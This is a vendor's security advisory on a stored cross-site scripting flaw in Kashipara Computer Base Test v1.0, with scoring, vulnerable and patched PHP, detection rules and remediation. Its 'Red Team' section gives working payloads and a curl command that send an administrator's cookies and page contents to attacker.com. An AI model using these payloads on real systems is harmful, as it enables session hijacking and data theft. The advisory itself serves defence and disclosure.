CVE-2025-56697
Executive Summary
CVE-2025-56697 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Kashipara Computer Base Test v1.0, specifically within the feedback submission functionality. An unauthenticated attacker can inject arbitrary JavaScript code via the smyFeedbacks POST parameter in /users/home.php. This malicious script is then stored and executed when an administrator views the feedbacks page at /users/adminpanel/admin/home.php?page=feedbacks. The vulnerability requires no authentication for injection, but exploitation depends on an admin user accessing the stored feedback. The vendor has not released a patch, leaving all instances of v1.0 exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Injection does not require authentication.
- User Interaction: Required (UI:R) – Admin must view the feedback page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exfiltration possible.
- Integrity Impact: Low (I:L) – Script execution can modify page content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The attack surface is limited by the need for admin interaction, but the lack of a patch and the simplicity of exploitation elevate the risk for unhardened deployments.
Deep Dive & Mechanics
The vulnerability resides in the feedback submission mechanism of Kashipara Computer Base Test v1.0. The application accepts user input via the smyFeedbacks POST parameter in /users/home.php without proper sanitization or output encoding. This input is stored in the database and later rendered on the admin panel page /users/adminpanel/admin/home.php?page=feedbacks without escaping.
Attack Flow:
- An attacker submits a POST request to
/users/home.phpwith a malicious payload in thesmyFeedbacksparameter, e.g.,<script>alert('XSS')</script>. - The application stores the payload in the database.
- When an administrator navigates to
/users/adminpanel/admin/home.php?page=feedbacks, the stored payload is retrieved and rendered in the HTML context. - The browser executes the injected script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the admin.
Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) when displaying user-supplied feedback. Additionally, no input validation or Content Security Policy (CSP) headers are implemented.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// /users/home.php - Feedback submission
$feedback = $_POST['smyFeedbacks'];
$query = "INSERT INTO feedbacks (content) VALUES ('$feedback')";
mysqli_query($conn, $query);
// /users/adminpanel/admin/home.php - Display feedbacks
$result = mysqli_query($conn, "SELECT content FROM feedbacks");
while($row = mysqli_fetch_assoc($result)) {
echo "<div>" . $row['content'] . "</div>";
}
Patched Code (Recommended):
// /users/home.php - Feedback submission with input sanitization
$feedback = htmlspecialchars($_POST['smyFeedbacks'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO feedbacks (content) VALUES (?)";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "s", $feedback);
mysqli_stmt_execute($stmt);
// /users/adminpanel/admin/home.php - Display feedbacks with output encoding
$result = mysqli_query($conn, "SELECT content FROM feedbacks");
while($row = mysqli_fetch_assoc($result)) {
echo "<div>" . htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . "</div>";
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target running Kashipara Computer Base Test v1.0.
- Access to the
/users/home.phpendpoint. - An admin user who will view the feedbacks page.
Exploit Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step-by-Step Exploitation:
- Send a POST request with the malicious payload:
curl -X POST http://target/users/home.php -d "smyFeedbacks=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
- Wait for an admin to visit
/users/adminpanel/admin/home.php?page=feedbacks. - The admin's browser executes the script, sending their cookies to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/users/adminpanel/admin/home.php?page=users', true);
xhr.onload = function() {
fetch('https://attacker.com/exfil?data='+btoa(xhr.responseText));
};
xhr.send();
</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for suspicious POST requests to
/users/home.phpcontaining<script>tags or event handlers. - Inspect the
smyFeedbacksparameter for HTML/JavaScript patterns. - Check for outbound connections to unknown domains from the admin panel.
Mitigation Steps:
- Apply input validation: Reject or sanitize any HTML/JavaScript in feedback.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use prepared statements and output encoding as shown in the patched code.
- Restrict admin panel access to trusted IPs.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/users/home.phpwithsmyFeedbackscontaining<script>tags. - Outbound HTTP requests from the admin panel to unknown domains (e.g.,
attacker.com).
- POST requests to
- File IOCs:
- Log entries in
/var/log/apache2/access.logor equivalent showing malicious payloads.
- Log entries in
- Database IOCs:
- Rows in the
feedbackstable containing HTML/JavaScript code.
- Rows in the
- Behavioral IOCs:
- Unexpected admin actions (e.g., user creation, privilege escalation) originating from the admin panel.
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Payload {
meta:
description = "Detects stored XSS payloads in feedback submissions for CVE-2025-56697"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-56697"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$event_handler = /on\w+\s*=\s*['\"].*?['\"]/i
condition:
any of them
}
Sigma Rule
title: Stored XSS via Feedback Submission
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects stored XSS attempts targeting CVE-2025-56697
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/users/home.php'
cs-uri-query|contains: 'smyFeedbacks'
sc-status: 200
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in feedback (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-56697 Stored XSS Attempt via Feedback";
flow:to_server,established;
content:"POST"; http_method;
content:"/users/home.php"; http_uri;
content:"smyFeedbacks="; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Feedback Feature: Temporarily remove or disable the feedback submission functionality until a patch is applied.
- Web Application Firewall (WAF): Deploy a WAF rule to block POST requests containing
<script>tags in thesmyFeedbacksparameter. - Manual Code Fix: Apply the patched code shown above, using
htmlspecialchars()for output encoding and prepared statements for database queries.
Long-Term Measures:
- Vendor Notification: Contact Kashipara for an official patch. If unresponsive, consider migrating to an alternative solution.
- Security Hardening: Implement Content Security Policy (CSP) headers, HTTP-only cookies, and X-XSS-Protection headers.
- Regular Audits: Conduct periodic code reviews and penetration tests to identify similar vulnerabilities.
Workaround: If patching is not possible, restrict access to the admin panel using IP whitelisting and enforce strict input validation on the feedback form.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.